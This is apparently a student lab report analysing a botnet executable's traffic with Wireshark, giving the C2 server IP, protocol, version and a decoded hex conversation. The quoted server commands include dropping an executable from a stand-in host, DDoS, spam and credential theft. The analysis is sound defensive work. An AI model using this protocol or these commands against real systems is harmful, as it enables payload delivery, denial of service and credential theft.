Botnet

# Answers

(a) IP = 18.185.126.2

(b) Protocol = TCP

(c) Version = 1.33.7 (linux)

(d) Commands = ddos, spam, drop, get\_credentials, hidden (optional) and sometimes an empty COMMAND ("COMMAND <END>")

# Report

Using wireshark, we find that the IP of the server the exe connects to is: 18.185.126.2

Also, when we disabled this IP in our firewall, the program did not work anymore so that confirms our findings

The botnet uses TCP, as can be seen in wireshark.

## Note

With this display filter we can filter out retransmissions in wireshark:

not tcp.analysis.retransmission and not tcp.analysis.fast\_retransmission and not tcp.analysis.out\_of\_order and not tcp.analysis.duplicate\_ack

This has helped us to get a clearer view of the message sent back and forth.

## Typicial conversation

This is a typical conversation (note that commands may vary, they are listed below)

### Client -> server

5245504f525420626f7469643d31626466373662363764373733656335206f733d6c696e7578203c454e443e0a

=

REPORT botid=1bdf76b67d773ec5 os=linux <END>

### Server -> client

48454c4c4f2030386362366262353463203c454e443e0a

=

HELLO 08cb6bb54c <END>

### Client -> server

5550444154452076657273696f6e3d312e33332e37203c454e443e0a

=

UPDATE version=1.33.7 <END>

### Server -> client

555044415445206e6f6e65203c454e443e0a

=

UPDATE none <END>

### Client -> server

434f4d4d414e44203c454e443e0a

=

COMMAND <END>

### Server -> client

434f4d4d414e442064726f7020687474703a2f2f7777772e626164776172652e636f6d2f352e657865203c454e443e0a

=

COMMAND drop http://www.badware.com/5.exe <END>

### Client -> server

444f4e45203c454e443e0a

=

DONE <END>

### Server -> client

425945203c454e443e0a

=

BYE <END>

## Example commands

These are several commands we got from the server:

COMMAND ddos http://www.google.com <END>

COMMAND spam http://www.badware.com/spam.template <END>

COMMAND drop http://www.badware.com/5.exe <END>

COMMAND get\_credentials <END>